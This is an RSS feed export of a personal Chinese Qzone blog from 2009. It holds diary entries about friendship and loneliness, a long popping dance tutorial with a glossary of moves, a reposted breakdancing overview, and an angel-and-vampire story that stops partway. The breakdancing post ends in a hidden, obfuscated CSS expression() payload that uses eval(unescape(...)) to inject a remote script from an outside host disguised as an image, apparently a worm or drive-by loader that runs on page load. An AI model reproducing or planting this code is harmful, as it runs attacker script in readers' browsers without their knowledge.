<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[傷雞。敗寇]]></title>
<description><![CDATA[∨、 ￣ Dancer]]></description>
<link>http://524384864.qzone.qq.com</link>
<lastBuildDate>Sun, 29 Nov 2009 06:04:41 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Fri, 16 Oct 2009 16:48:40 GMT</pubDate>

<item>
<title><![CDATA[我们四个人]]></title>
<link>http://524384864.qzone.qq.com/blog/1255711720</link>
<description><![CDATA[<br>只要我有饭吃  就不会饿到你们  有我一口气     就不会让你们没地方住  没饭吃  <br>我们四个人  就像四方形  少了一个就少了一半   少了一个角就变成三角形  就少了一半  <br>我们兄弟四个人的情谊是永远的 <br>钱可以赚  兄弟没了就没了<br>我  文挺          <br> 俊杰 <br> 骏威  <br>  初斌 <br>一辈子的兄弟<br> <br>不会变<br> <br> <br>你们永远活在我的心中<br> <br> <br>不会忘记 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1255711720#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Fri, 16 Oct 2009 16:48:40 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1255711720</guid>
</item>

<item>
<title><![CDATA[七夕   渲染了寂寞]]></title>
<link>http://524384864.qzone.qq.com/blog/1251080861</link>
<description><![CDATA[                  爱情   只是一个遥远的梦想     没了爱情并不代表我不能活下去     至少我还有一群死党  <br>                              品味寂寞    你会发现寂寞比爱情要好      细细品味寂寞         渲染生活<br>                                           现在的我   为自己的设计梦想而努力          你们读书    我出社会  <br>                                                        没什么大不了   有人问后悔不   我回答  不后悔   或许你们在毕业后找工作时  我早已自己开始创业了          还是习惯一个人 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1251080861#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 24 Aug 2009 02:27:41 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1251080861</guid>
</item>

<item>
<title><![CDATA[最近发生了很多事]]></title>
<link>http://524384864.qzone.qq.com/blog/1249692806</link>
<description><![CDATA[最近发生了很多事 <br>都不知道怎么解决 <br>朋友们都发生了太多的事情 <br>脑袋一片空白 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1249692806#comment</comments>
<qz:effect>142606848</qz:effect>
<pubDate>Sat, 08 Aug 2009 00:53:26 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1249692806</guid>
</item>

<item>
<title><![CDATA[孤立]]></title>
<link>http://524384864.qzone.qq.com/blog/1245201878</link>
<description><![CDATA[我是不合群的 <br>注定是孤独的 <br>所以要学会享受孤独 <br>其实有时一个人也会过的快乐 <br>决定孤立 <br><br>繁华的街道 <br>孤独的黑夜 <br>一切的一切 <br>让自己慢慢去享受 <br><br> <br>此刻  忽然想到家中的奶奶<br>是她把我带大的<br>此刻<br>我想家了<br>从未有过的思念<br><br><br><br><br><br><br>感觉真的好累 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1245201878#comment</comments>
<qz:effect>142606864</qz:effect>
<pubDate>Wed, 17 Jun 2009 01:24:38 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1245201878</guid>
</item>

<item>
<title><![CDATA[poping]]></title>
<link>http://524384864.qzone.qq.com/blog/1245119796</link>
<description><![CDATA[　poppin历史<br><br>　　<span style="font-weight:bold"><wbr />popping</span><wbr />是放克舞蹈（funk dance）和街舞（street dance）中的一种风格，基本是借由肌肉迅速地收缩与放松的技巧，使舞者的身体产生种颤动的感觉，这种技巧称作“pop”或“hit”。舞者会以多种不同的动作和姿势来配合歌曲的节奏。舞者又被称为“popper”。<br><br>　　“popping”也可泛指几种相关的舞蹈风格及技巧，这些舞风与技巧时常融合在机械舞中，让舞蹈做出更多的变化。一般的POPPIN包括了肩膀、胸部、手臂、腿部等等。<br><br>　　有时Waving（电流舞）也被包含在POPPIN的范围里，POPPIN通常作为个人solo，较少排舞，也是属Old school。一般认为POPPIN在1970年代时起源于加州弗雷斯诺，而灵感源自于锁舞（locking）。就像其他街头舞蹈一样，机械舞也常进行舞斗（battle），参赛者在人群前面展现舞技击败挑战的舞者或舞团。这时就有机会见识到舞者在表演中不常出现的即兴动作，或做出与参赛者或观众的互动。<br><br>　　在1970年代晚期，一个来自美国加州的舞团“The Electric Boogaloo”（早期被称为“Electronic Boogaloo Lockers”）对舞的推广贡献良多，一部份是由于他们在电视节目“灵魂列车”（Soul Train）上的表演[3]。<br><br>　　The Electric Boogaloo自己宣称大约在1975年至1976年间，舞团创始人山姆·索罗门（Sam Solomon，又称Boogaloo Sam）在受到锁舞先锋团体“The Lockers”团体以及1960年代流行的热门舞蹈（fad dance）“the jerk”的启发后，发明了一组舞步，也就是现今所称的poppin。在跳舞时，山姆在每次弯曲肌肉时都会说“pop”这个单字，最后这种舞蹈就被称为“popping”Many confirm the Electric Boogaloos' story that Boogaloo Sam came up with the basics of popping.。<br><br>　　其他密切相关的舞蹈风格，例如机器人舞（robot）等被认为在Poppin之前就已经存在，而也有说法认为早在The Electric Boogaloo成立之前的1960年代晚期，机械舞就已经以某种形式存在于加州奥克兰，并且这种舞蹈风格也无法回朔到任何特定的人或团体。<br><br>　　主流媒体将机械舞及其相关舞步的风行归功于《Breakin'》等电影，但同时也因为将所有这些舞蹈风格都称为霹雳舞（breakdance），进而产生了名称上的混淆。迈克尔·杰克逊也带动了机械舞的流行，他的舞步动作如月球漫步（moonwalk）等都十分为人所知。但这也造成了另一个名称上的混淆，由于“月球漫步”这个舞步在迈克尔·杰克逊掀起流行前，早就以“backslide”（后滑）的名称出现在机械舞的动作中。The Electric Boogaloo自己认为：“当山姆创造出Poppin和Boogaloo时，其他人也在创造并练习自己的独特舞风。在当时（美国）西岸每一个不同的区域都以自己独特的风格闻名，而每一种风格背後都有一个属于自己的精彩故事。而这些区域也包括了奥克兰、沙加缅度和旧金山。”<br><br>　　poppin的心得体会<br><br>　　Boogaloo Sam : poppin风格和Boogaloo风格的创始人 SLIDE(NATE)<br><br>　　EB诞生于1977年Boogaloo Sam创建The Electric Boogaloo Lockers的时候 - 原始团队为: THE ELECTRIC BOOGALOO LOCKERS (1977,Fresno城,加利福尼亚州) Boogaloo Sam : popping风格和Boogaloo风格的创始人 SLIDE(NATE) : 和Sam一起建立的舞团 Robot Joe : OG成员,Robot是他的主要风格 Toyman Skeet : Toy man 风格的创始人 Ticking Will : 向Sam学习了Ticking风格 Twist-O-Flex Don : Don是最用功的Hitting Popper THE ELECTRIC BOOGALOOS (1978,LongBeach城,加利福尼亚州) Boogaloo Sam : popping风格和Boogaloo风格的创始人 popping Pete : Boogaloo Sam的弟弟 Tickin Deck : Boogaloo Sam的另一个弟弟 Robot dane : Sam和他Battle后成为EB成员(Sam赢了) Puppet Boozer : Sam教他后因Puppet风格而出名 Creepin Sid : 来自于Arkansas,学习Boogaloo Scarecrow Sculley : Sam教了他scarecrow风格 Darryl(King Cobra) : snaking风格的创始人 George(king python) : longbeach的元老popper之一<br><br>　　这次要讲的是下面几点的练习：<br><br>　　一、手部的POP<br><br>　　二、脚步（也就是胯部练习）的POP<br><br>　　三、头部的POP<br><br>　　四、胸部的POP（先不用练习） <br><br>　　前言：POPPIN只要灵活运用四肢就很强了，千万别在四肢还没有练成POP的时候就来跳POPPIN，这样基础不稳，你永远都学不好，就算你模仿一个动作跳出来了，但是内行人一看就会觉得不好看，而且POPPIN不是比谁POP的弧度大或者全身都会POP就是厉害；POP的时候出力点要短但是要大，POPPIN的点越轻松就越漂亮，这样看起来会精而细，很多人练习的时候都会用上肩部突然下拉来带动各部分肌肉达到的POP，这个练习方法不能说不正确，只是POP起来不太好看而已，这个纯属个人观点，还有要补充的是大家刚练习的时候是不是会感觉到自己的动作很少，其实这不是一个问题，只要你跳久了，感觉好了，把自己的身体融入到音乐里面，就算在一首歌曲中重复一些动作也是无所谓的，重要的是感觉，跟着音乐来跳，要合拍，这个就是为什么施旷老师要说的DANCE TO THE MUSIC，只要你能跟着音乐不停地跳玩一首歌曲的话，看来你也不错了，呵呵 <br><br>　　一、手部练习的方法 <br><br>　　1、把两只手摆成一个很像骑马的姿势，手指往下放，要感觉到很轻松的感觉 <br><br>　　2、然后你手腕往下压，可是手指头部分要让他往上，手腕向下压的时候你是否看到你的小手臂有一个凹洞，就是轴那里有个小洞（反复那样练习就是了！） <br><br>　　3、练习当中，你看看你手的上半部分，肌肉有没有爆破出来，要是有，你再看看胸部与手臂相连的那部分有没有跳动，还有背部的肌肉有没有跳动？手腕向下压时，胸前的肌肉稍微有点跳动的感觉是不是，但是要注意的是：不是胸部往前，而是胸肌向上跳动。要是有了上面的几点，那就正确了。 <br><br>　　估计刚开始练的时候背肌部分的跳动可能还出不来，但是要强加练习就OK了。要注意的是练手的时候肩部不要用力，用力的都在手腕上，请各位尝试一下是否有感觉。 <br><br>　　这个手部的练习要配合上脚部的练习才好，这样才自然 <br><br>　　二、脚部POP的练习 <br><br>　　脚步的POP其实也就是大家所说的胯下的POP，很多人都把它想的好复杂好难练，其实胯下的练习比手部练习更加容易，只要大家别把它想的太复杂就可以了，尽量的简单，越简单越好，下面就跟着我的方法来练习一下，很快就有点功效了哦，注意的是利用膝盖。 <br><br>　　1、你先站起来，然后膝盖向前稍微弯曲，有点像要坐下的感觉。<br><br>　　2、你从第一点所说的，慢慢从这个动作站起来，记得是慢慢的把脚打直，但别用力。<br><br>　　3、慢慢的站起来，脚快要站直的时候，你突然在这里用力快速把脚打直（也就是膝盖往后），这样反复练习是不是达到跨下的POP了呢？记得千万别屁股用什么力或者往里收，那是不正确的练习方法，大家尽量想的越简单越好 <br><br>　　这个脚部的练习要配合上手部的练习才好，这样才自然 <br><br>　　三、头部的POP<br><br>　　其实这个头部分的练习用打字的方法真的很难解释清楚，下面就打个比方让大家按这个来练习吧！ <br><br>　　其实也就是头部往45度角的方向用力来达到的一种效果，可能我那么说大家都有点迷惑，我就打个比喻吧 <br><br>　　1、我们经常在路上碰见熟人的时候都会叫一声“喂”，记得，头部的POP有点像“喂”的一声，怎么说呢？当你在叫别人“喂”的时候，头部是不是有点稍微向上点了一下，就是那一“点”其实就是POP了，只是你要用力而且要短时间内完成而已。注意是先保持原来轻松的表情，突然叫别人喂的一声，反复练习就会学会头部的POP，是不是有点感觉了呀！但是下颚别用力，用力是在后脑勺，CAN YOU FOLLOW ME？ <br><br>　　四、胸部的POP <br><br>　　为什么我在前面说胸部不用练习呢？其实也不是没有道理，等你练会我以上说的三点以后，你的胸部自然就会POP了，你不信你就试一下，呵呵，所以这个不用练习哦(但是真正单一的胸震是需要练习的，练习方法第一把腰挺直了，你会感觉到腰有点酸，注意提胸，然后慢慢放松的时候突然来个POP，但是这个POP不是腰出力，腰挺直了只是为了POP的时候更漂亮，详细讲解的话下次再说吧！大家先练好我前面说的) <br><br>　　最后要补充的是国内一级POPPER：BOKY的一些观点，很有用的，大家仔细看看：<br><br>　　1）手臂上的POP主要用到的是三头肌和桡侧腕短肌。可以尝试做这样的动作：五个手指扶住墙壁，然后用手心的位置去推墙（注意肘关节自然弯曲，不要用力去大直）。在这个动作里用到的肌肉群，大致就是手臂上的POP位置。<br><br>　　2）胸部的肌肉是垂直向上走。因为需要注意的是，很少爆点会利用伸展关节来完成。所以反过来说，如果胸大肌不是向上走，势必会牵连到脊椎关节的弯曲。另外，胸肌的POP和颈部肌肉的POP一般是同时完成的。可以这样理解。胸肌往上走的时候，头部保持原来的位置或者略微下压，这样自然就压迫到脖子上的肌肉了。另外，怎么样去锻炼颈部的肌肉呢？大家尝试发两个音，一个是“噢”，这个口型张到最大的时候，很自然的可以绷紧胸锁乳头肌。另外一个是“哈”，最大幅度去做的这个口型，可以绷紧肩胛提肌和肩胛舌骨肌。这三块肌肉是做颈部很重要的POP来源。<br><br>　　3）腿部的POP以前说过，阿KING也解释的很好。我就不多说了。这是唯一的需要利用关节才能完成的POP。因为膝盖自然弯曲的情况下很难绷紧大腿上的各部分肌肉。另外需要补充的是，下盘的POP不单单只有*大腿肌来完成。在一些特定的动作里，也会用到臀部和后腰肌肉上的POP。<br><br>　　介绍文中提及的各部分肌肉<br><br>　　肱三头肌 <br><br>　　位于上臂后面皮下。其功能是使手臂伸直和拉向后方。可通过臂屈伸，屈臂下拉，窄握仰推，各种手臂屈伸动作，划船来训练。 <br><br>　　胸大肌 <br><br>　　位于胸前皮下，为扇形扁肌，其范围大，分为胸上肌和胸大肌两部分。其功能是使上臂向内、向前、向下和向上；臂部向内旋转。可通过所有角度的卧推；所有角度的飞鸟；双杠臂屈伸；仰卧上拉；俯卧撑；重锤双臂侧下拉来训练。 <br><br>　　胸锁乳突肌<br><br>　　这是位于颈部浅层最显著的肌肉，其功能是使头和颈向侧曲；头和颈部旋转，颈向前或后弯屈。可通过戴练颈帽动作；摔角的角力桥；助力和自我抗力动作来锻炼。 <br><br>　　大腿肌配布于股骨周围，分为前、后和内侧三群。 <br><br>　　1．前群 有缝匠肌和股四头肌。 <br><br>　　（1）缝匠肌 为全身最长的肌，呈扁带状，起自骼前上棘，斜向内下经大腿前面达膝关节内侧，止于胫骨上端内侧面。 <br><br>　　作用：屈髋关节和膝关节，并可使已屈的膝关节旋内。 <br><br>　　（2）股四头肌 为全身体积最大的肌，有四个肌头，分别称为股直肌、股内侧肌、股外侧肌和股中间肌。四个肌头向下形成一总腱，覆盖髌骨前面，再向下形成髌韧带，止于胫骨粗隆。 <br><br>　　作用：为强有力的伸膝关节的肌，股直肌还能屈髋关节。 <br><br>　　2．后群 包括股二头肌、半腱肌和半膜肌。 <br><br>　　作用：后群肌主要屈膝关节、伸髋关节。当屈膝时，股二头肌可使小腿旋外，半腱肌和半膜肌能使小腿旋内。 <br><br>　　3．内侧群 位于大腿内侧，有5块，为耻骨肌、长收肌、短收肌、大收肌和股薄肌。<br><br>　　三角肌 <br><br>　　位于肩部皮下。它是一个呈三角形的肌肉，肩部的膨隆外形即由该肌形成。两侧肌肉纤维呈梭形，中部纤维呈多羽状，这种结构肌肉体积小而具有较大的力量。它的功能是使手臂举到水平位置；手臂分别向前、中、后举到一定方向的高度。可通过各种哑铃和杠铃推举、卧推（前束），哑铃上举到前、后和背后；引体向上来训练。　　 <br>[<a href="http://baike.baidu.com/view/51305.htm#" target="_blank">编辑本段</a><wbr />]<br>POPPIN的动作名称　　Poppin动作名词大介绍，独家中文名词大释疑！对Poppin有兴趣的舞迷们不可不看！ <br><br>　　☆ The Pop <br><br>　　Pop就是一种你震动身体不同部位的动作，这是要靠你震动你的肌肉来达成的。这是非常需要韵律感的，而且需要配合popping风格的音乐，你可以靠着伸直你的手轴来做poppin，你也可以将肩膀隆起来做poppin，而身体的其它部位都保持直立。 <br><br>　　☆ The Lock or Locking <br><br>　　Locking就是身体做一些很快的动作，然后在一个动作的时候停住，一个形容Locking 动作最好的解释就是:你有玩过那种小小的齿轮玩具吗?当你上紧发条让他动作时，他真的动的很快，可是发条松了，他又一下子马上停了下来，回到原状，这样看起来是不是很像Locking 呢?(编者按:个人认为Locking应该和Electric Boogie，Boogaloo分开，因为他给人的感觉并不是自然的，比较像是快速) <br><br>　　☆ The Tick <br><br>　　这个动作常被用来作为机器人舞的舞蹈中，是Electric Boogie中很重要的一个部分，这个动作给人一种错觉，就好象这个人天生就像机器一般，停下来或开始动作的时候都会有一个震动，做这个动作就是要靠震动肌肉，法国的喜剧演员叫这种动作是“Clique”。 <br><br>　　☆ The Floats or Glides <br><br>　　Float或是 Glide给人 种错觉，好象你的脚再走路时有一种特定的程序，这个动作给人一种感觉好象你想往东走，但实际上你的脚却是往西走一样，最著名的舞步就是Michael Jackson 跳的“Moon Walk”，这是一个老的喜剧演员的把戏，就像明明要往前走却又往后退。 <br><br>　　☆ The SlowMo <br><br>　　这个舞蹈动作做起来就像是你在电视上看到的慢动作回放一样，通常舞者会把这个动作和MOON WALK一起做。 <br><br>　　☆ The Wave <br><br>　　这是从四肢开始的波浪的动作。他给人一种错觉就像是有一股看不见的力量穿过你的整个身体，从一个地方开始，穿过手掌，手臂，整个身体最后停在你的脚。波浪的动作是一个标准的动作，包含在每一个舞蹈的例行动作中。不像其它的舞蹈动作，这个动作是流畅连贯的动作，应该是有精神的或是充满律动感的。波浪的动作的确从Pop中截取了不少的风格，但是你和Pop做一个比较，做Pop时如果有一个路径环绕全身，做起来会更加顺畅。 <br><br>　　☆ The Mannequin or Robot (Robotics) <br><br>　　这是一个以经存在很久的机械舞蹈风格，他就像是模仿一个展示用的假人在现实生活中动了起来，然后从Mannequin style中又分离出两个动作。一个动作是是舞者就像是被线牵引的傀儡一般，行动不自由，无法自主，人被其它人所牵引着，你可能曾在电视上看过喜剧演员做这样的表演，最经典的动作就是同手同脚向前移动，再表演中这笔不同手不同脚一起移动常被使用。另一个风格就是机器人，这个动作就是你的四肢做动作时被一个固定的速度所控制，然后突然停住或是用Tick停住，就像是只有机器才会做的动作。通常在一个时间里，你只移动身体的一个部分，做的就好象是你被一个计算机程序所控制住一样，动作要做的很制式化。Mannequin:这个字指的是展示用的假人模特儿。 <br><br>　　☆ The King Tut (埃及手) <br><br>　　这个动作就好象是挂在墙上埃及的壁画及宫殿般的感觉，它包含了摆手部的动作，肩膀和手轴成90度，你的前臂可能是上或下，弯曲或扭转，可能远离你或靠近你，然后你的手可能要循环的上下或是循环的扭转，这要和Tick一起做，就像机器人舞蹈的风格一样，每一个动作是分开的。 <br><br>　　☆ The Lean <br><br>　　这又是另一个相当受欢迎的喜剧演员的花招，他给人一种错觉好象人倚靠着某一样东西，可是这样东西实际上却又不存在，就像看不见的钢琴就是一个例子。 <br><br>　　☆ The Collapse <br><br>　　通常和Mannequin结合一起做，这个动作做起来就像是一个轮胎被泄了气一样，或者是像一个被剪断了线的傀儡。 <br><br>　　☆ The Heartbeat <br><br>　　这是一个很受欢迎的动作，你把手放在外套或T恤底下，然后把衣服往前推，这样看起来就像是你的心脏正在胸腔里跳动一样，通常舞者会一边做动作一向前走，这会给人一种错觉好象是你的心跳推着人前进一样。 <br><br>　　☆ The Bicycle <br><br>　　腿部的动作给人一种印象像是你在骑脚踏车一样，这是另一个喜剧演员常用的小花招，这个动作通常会结合手的往前放的动作，这给人的感觉像是你整抓着脚踏车的手把。 <br><br>　　☆ The Toe/Heel walk <br><br>　　这个动作通常和Mannequin dance style一起做，是一个很棒的方法可以让你在整个舞蹈地板上做动作，他的动作包含了:用一只脚的脚指做旋转，再配合另一只脚的脚踝一起，然后在将重量移转到另外的脚指及脚踝上，然后一直做，做的好的话，动作会非常流畅，看起来就像是你滑过整个地板一样。 <br><br>　　☆ Cobra(King Cobra) <br><br>　　舞者用一只手做波浪的动作传到另一只手去，然后再把他送回来，但是只用到肩膀。(如果你看名叫“Breakin”的电影，在一开始的尬舞中，就有几个人做这个动作，你可不能错过.) <br><br>　　Body Effects就是用身体去做模仿的效果。 <br><br>　　☆ Animation <br><br>　　用身体去做像影片般，一格一格的分格动作。 <br><br>　　☆ Three Dimensional Tickin’ <br><br>　　比depth tickin’更多元化，包括了在同一个tick中，身体做常、宽、高三D般的效果。 <br><br>　　☆ Pausin’ <br><br>　　停止或暂时停顿一个动作短暂的时间。 <br><br>　　☆ Electric Shock <br><br>　　这个动作看起来就像是有一股电流通过身体一般。 <br><br>　　☆ Water Wave <br><br>　　缓慢做波浪的动作并摇动身体，创造像水波般的效果。 <br><br>　　☆ Internal Moves <br><br>　　动作就像是渗透进身体或是像从身体中发出的一般。和tickin’、wavin’不一样，因为这两者是穿过身体。 <br><br>　　☆ External Moves <br><br>　　动作就像是从身体外部来的感觉一样。Cobra，Octopuss，King tut，Python等这些动作都是。 <br><br>　　☆ Hittin’ <br><br>　　持续的收缩肌肉。基本上是放松和收缩颈部、手部、胸部和腿部的肌肉。 <br><br>　　☆ Hittin’style <br><br>　　Hittin’风格的舞蹈包括有: Boogaloo，Boogie，Poplock，Strutin，Puppet，Robotic，freestyle，bopping等这些都是。 <br><br>　　☆ Glides/Floats <br><br>　　这个动作就像是舞者在空中走路一样。Moonwalk，Backslide，Side slide，S walk等这些都是<br><br>　　动作集合<br><br>　　Air posing 空气中的动作 Animation 动画<br><br>　　Bopping 动感机器人 也可叫Dancing Robot &quot;BOPPIN ANDRE&quot;为创始人<br><br>　　Crazy Legs 疯狂脚 Popin&quot; Pete在 80年代创立的风格<br><br>　　Cobra 眼镜蛇<br><br>　　Dime Stopping 停 不同与pop跟hit robot用的比较多<br><br>　　Floating/Gliding 漂浮 滑行 月球漫步<br><br>　　Hittin 肌肉持续收缩做动作<br><br>　　Puppet 木偶人<br><br>　　Saccin 行走的风格<br><br>　　Scarecrow 稻草人 灵感来自於电影****师<br><br>　　Snaking 蛇<br><br>　　Spiderman 蜘蛛人 Poppin&quot; pete 在90年代创造的风格<br><br>　　Strobing 像相机快照一样<br><br>　　Strutting 一格一格的动作 像DVD快转那种<br><br>　　Tut 埃及手<br><br>　　Shadow Boxing skeet rabbit的style<br><br>　　Egyptians Boogaloo基本动作Sam创造的<br><br>　　Master Flex Boogaloo基本动作Sam创造的<br><br>　　E.T. 外星人的效果 poppin pete在90年创立的 主要用膝盖<br><br>　　Speed Control 速度的控制<br><br>　　Sleepy Style 要睡着的style Poppin Pete在 90年代创立的<br><br>　　Ground Moves 地板的动作<br><br>　　Poppin 肌肉震动<br><br>　　Boogaloo 每个人有每个人的理解 说法很多<br><br>　　Wavin 电流<br><br>　　Leg Rolls 腿的旋转<br><br>　　Robot 机器人<br><br>　　Tickin 连续的pop<br><br>　　Toy Man 玩具人<br><br>　　Walkouts Boogaloo的基础 sam创立的强调boogaloo的立体感<br><br>　　Fresno Boogaloo的基础 sam创立的强调boogaloo的立体感<br><br>　　power wave 用的多一些力量的wave<br><br>　　Isolation Poppin style 必须具备的局部控制<br><br>　　Centipede 在地下 像蜈蚣一样在走<br><br>　　Slow Move 慢动作<br><br>　　Pop Control pop 控制 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1245119796#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 16 Jun 2009 02:36:36 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1245119796</guid>
</item>

<item>
<title><![CDATA[[转]街舞B-Boy]]></title>
<link>http://524384864.qzone.qq.com/blog/1230884471</link>
<description><![CDATA[以动作为标准，街舞分两大类：Hip-Hop和Breaking。  <br> <br>Breaking：技巧型街舞，要求舞者具有较高的力量、柔韧性和协调性，属于技巧性较高的体育舞蹈，所以最先为国内青少年所喜爱。跳这种类型舞蹈的青少年叫做B-Boy/B-Girl。  <br> <br>20世纪80年代，被称为&quot;Hip-Hop之父&quot;的DJ Kool Herc创造了B-Boy的概念，也就是Breaking Boy。每年，全世界的许多国家都有一些为B-Boy们举办的比赛，较有名的是每年一度的BOTY（B-Boy of The Year）和在英国举办的B-BoyChampion，超过10个国家的百名参赛选手会参加这样的盛事。比赛的优胜者很快就会声名远播，成为青少年的明星。  <br> <br>Hip-Hop：舞蹈型街舞，有Poping、Locking、Electric、Turbo、House等多种风格。它们都不如Breaking那样需要较高的技巧，但更要求舞者的动作协调性和舞感，以及肢体灵活性和控制力。好的Hip-Hop舞者同样需要艰苦的练习。由于Hip-Hop Dance不如Breaking那样技巧性强，也缺乏竞赛性，以前没有受到街舞爱好者足够的重视，现在随着舞蹈观念的增强，这种情况得到了改变，甚至B-Boy也开始练习并出现了许多全能型的街舞好手。  <br> <br>还有一种说法是，街舞统称为Hip-Hop,包括两大类———Old Shool和NewShool。OldShoo  <br>l舞蹈又包括Locking（锁舞）、Poping（机械舞）、Breaking（霹雳舞）、Wave（电流），而NewShool一般更“温和”，没有太大幅度的脚下移动，只增加了许多头部和手部动作，重视的是身体上半部的律动。同样的一段节奏内，NewSchool显得更多变而流畅，更加崇尚自然流露，而OldShool音乐节奏较密集。  <br>在我国街舞目前被分为健身街舞和流行街舞两大类。健身房里的街舞叫做健身街舞，它是把流行街舞所涵盖的内容中最基础最简单，并且有利于身心发展的部分提炼出来组合而成的。<span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[524384864@qq.com(傷雞。敗寇)]]></author>
<comments>http://524384864.qzone.qq.com/blog/1230884471#comment</comments>
<qz:effect>134218248</qz:effect>
<pubDate>Fri, 02 Jan 2009 08:21:11 GMT</pubDate>
<guid>http://524384864.qzone.qq.com/blog/1230884471</guid>
</item>

<item>
<title><![CDATA[天使和吸血鬼]]></title>
<link>http://524384864.qzone.qq.com/blog/1221629471</link>
<description><![CDATA[<div style="text-align:center;">吸血鬼被上帝诅咒，必须靠吸食人血维生。 <br>　　永远不能见到阳光，一被阳光晒到就会变成尘土消逝，所以吸血鬼总是在夜晚活动,猎捕那些迷失在月亮下不幸的旅人。 <br>　　有一天，一位天使来到凡间。 <br>　　他的容貌端庄秀丽，比任何天使都还要华贵，他是上帝最心爱的一个孩子。而他来人世的目的是为了传达神迹。 <br>　　天使治愈无数人的疾病，即使是濒死的绝症，只要被天使的手轻轻碰触，马上就可以复原。 <br>　　吸血鬼也听到了这个消息，他乔装成一般的平民，前来求诊。 <br>　　天使对这名半夜出现的访客非常吃惊，当然他一下子就看破了吸血鬼的伪装， 但是他也对吸血鬼的大胆感到兴趣。 <br>　　「请问您找我有什么事呢？」天使好奇地问。 <br>　　「我生了一种不能见到阳光的病，请你医治我。」吸血鬼这么回答。 <br>　　「因为这种疾病使我不得不藏匿在黑暗的地方，但是一次也好，我很想看看早晨朝阳的美丽。」 <br>　　这无异是无理的要求。因为天使的法力再大，也不可能改变吸血鬼不能晒到太阳的事实，因为那是上帝给的报应，是一种只要吸血鬼还存在于世界上就不会停止的惩罚。 <br>　　「对不起，我无能为力。」 <br>　　「一次也不行吗？」 <br>　　天使忽然觉得吸血鬼懊恼的样子很可怜，他安慰着对方。<br>　　「虽然我不能让你亲眼看见，可是你不嫌弃的话，我愿意形容给你听。」 <br>　　吸血鬼被天使的提议打动，他们约定好等下一次天空升起上弦月的时候，在吸血鬼匿居的城堡见面。 <br>　　时间倏地流逝，天使准时赴约。 <br>　　他坐在吸血鬼的身旁，以温柔的声音述说太阳初升的情景。 <br>　　当他们要分别的时候，吸血鬼又对天使说：「请原谅我再次向你祈求，但是一次也好，我很想看看正午艳阳的美丽。」 <br>　　 <br>    善良的天使仍然无法实现吸血鬼的愿望，他又和吸血鬼说好下个上弦月夜时的相见约定。 <br>　　「虽然我不能让你亲眼看见，可是你不嫌弃的话，我愿意形容给你听。」 <br>　　到了约定的时刻，吸血鬼正襟危坐，等待着天使的到来。 <br>　　天使沐浴在月光下，圣洁的翅膀闪闪发光，像穿了一件银色的披风那样，炫烂的光彩令吸血鬼转移不了视线。 <br>　　天使又坐在他的身旁，述说太阳当空的情景。 <br>　　他那无比纯洁的微笑使得吸血鬼着了迷，因此吸血鬼不禁第三次开口。 <br>　　「请原谅我再次向你祈求，但是一次也好，我很想看看黄昏夕阳的美丽。」 <br>　　「虽然我不能让你亲眼看见，可是你不嫌弃的话，我愿意形容给你听。」 <br>　　吸血鬼和天使相视而笑，这次不需要承诺，他们都有了在下个上弦月夜相见的默契。 <br>　　彼此都在心里期待着下一次见面，彼此都希望月亮快点变成一弯上弦月。 <br>　　终于盼到的月夜那天，天使照样坐在吸血鬼的身旁，述说太阳西落的情景。 <br>　　这样的话题告一段落时，吸血鬼怀着忐忑的心情说。 <br>　　「谢谢你亲切地告诉我这些事，如果可以，你愿意再答应我一件愿望吗？」 <br>　　「我尽力而为。」 <br>　　「我想再和你见面，我觉得只要能和你在一起，阳光就不算什么了，不管是朝阳，艳阳，或是夕阳。你比太阳照耀的白昼更美丽。」<br>　　天使为他这个要求稍稍皱起了眉。「我很希望能达成你的愿望，不过我明天就结束人间的任务，必须回到天堂去了，再也不能来这里跟你见面。」 <br>　　吸血鬼听到天使委婉的拒绝后，只得勉强地露出笑容。「……这样也好，比起这里，天堂想必是非常明亮温暖的吧。谁叫我是生长在黑暗里的魔物呢？ 对这短暂的邂逅就应该满足了。」 <br>　　「对不起。」天使很抱歉地离开了吸血鬼的住处，他回到了本来属于自己的天堂。 <br>　　上帝敏锐地察觉到了这个心爱孩子脸上的异样，他问。「孩子啊，你在想什么？」 <br>　　天使的心里想的不外乎是那个孤寂的吸血鬼。 <br>　　